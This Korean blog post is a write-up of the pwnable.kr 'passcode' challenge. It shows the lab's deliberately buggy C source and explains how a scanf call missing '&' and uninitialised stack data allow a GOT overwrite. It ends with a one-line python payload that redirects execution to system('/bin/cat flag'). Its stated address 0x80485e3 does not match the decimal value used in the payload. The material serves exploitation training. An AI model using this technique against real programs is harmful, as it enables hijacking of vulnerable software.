Self-Improvement

[pwnable.kr] passcode 풀이 (scanf() 함수 취약점) 본문

리버싱 기초/pwnable.kr

[pwnable.kr] passcode 풀이 (scanf() 함수 취약점)

JoGeun 2020. 6. 22. 16:46

소스 코드

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#include <stdio.h>
#include <stdlib.h>
 
void login(){
    int passcode1;
    int passcode2;
 
    printf("enter passcode1 : ");
    scanf("%d", passcode1);
    fflush(stdin);
 
    // ha! mommy told me that 32bit is vulnerable to bruteforcing :)
    printf("enter passcode2 : ");
        scanf("%d", passcode2);
 
    printf("checking...\n");
    if(passcode1==338150 && passcode2==13371337){
                printf("Login OK!\n");
                system("/bin/cat flag");
        }
        else{
                printf("Login Failed!\n");
        exit(0);
        }
}
 
void welcome(){
    char name[100];
    printf("enter you name : ");
    scanf("%100s", name);
    printf("Welcome %s!\n", name);
}
 
int main(){
    printf("Toddler's Secure Login System 1.0 beta.\n");
 
    welcome();
    login();
 
    // something after login...
    printf("Now I can safely trust you that you have credential :)\n");
    return 0;    
}
cs

처음에 실행을 하고 passcode1에 입력 값으로 "338150"을 주었을때 세그먼트 폴트가 발생하여서 당황을 했었다.

소스코드를 자세히 보니 scanf() 함수에서 "&"이 빠져있어서 발생하는 것이였다.

참고 : https://blog.naver.com/ln8520nl/220693412296

 

그렇게 되면 초기화 되지 않은 passcode1, passcode2엔 쓰레기 값이 존재하며 쓰레기 값인 주소의 값에다가 쓰기 때문에 세그먼트 폴트가 발생했던 것이다.
또한 welcome() 함수에서 scanf() 함수로 100바이트를 받고 있으며 초기화(fflush())를 해주지 않아 버퍼에 값이 그대로 남아 login()함수에서도 영향을 줄 것으로 보인다!
만약 위의 사실대로 가능하다면 passcode1의 값을 특정 함수의 GOT로 준다음 scanf() 함수에서 system("/bin/cat flag") 주소를 주면 Overwrite가 되어져 system()함수가 실행 될 것이다!!!!

 

풀이

welcome()함수에서 100바이트를 쓰게되면 초기화 되지 않아 마지막 4바이트가 그대로 login()함수의 passcode1 값으로 들어가는 것을 확인하였다.

fflush() GOT 함수 주소 : 0x804a004

 

system("/bin/cat flag") 주소 : 0x80485e3

 

실패해서 확인해보니 passcode1의 입력 값은 숫자로 줘야한다.

 

flag를 획득할 수 있었다.

(python -c 'print "A"*96+"\x04\xa0\x04\x08"+"134514135"';cat)|./passcode

 

생각보다 난이도가 있었고 scanf()에 대해서도 공부하는 계기가 되었다.

'리버싱 기초 > pwnable.kr' 카테고리의 다른 글

[pwnable.kr] input 풀이 (pwntools process executable!!)  (0) 2020.06.23
[pwnable.kr] random 풀이  (0) 2020.06.22
[pwnable.kr] flag 풀이  (0) 2020.06.22
[pwnable.kr] bof 풀이  (0) 2020.06.22
[pwnable.kr] collision 풀이  (0) 2020.06.22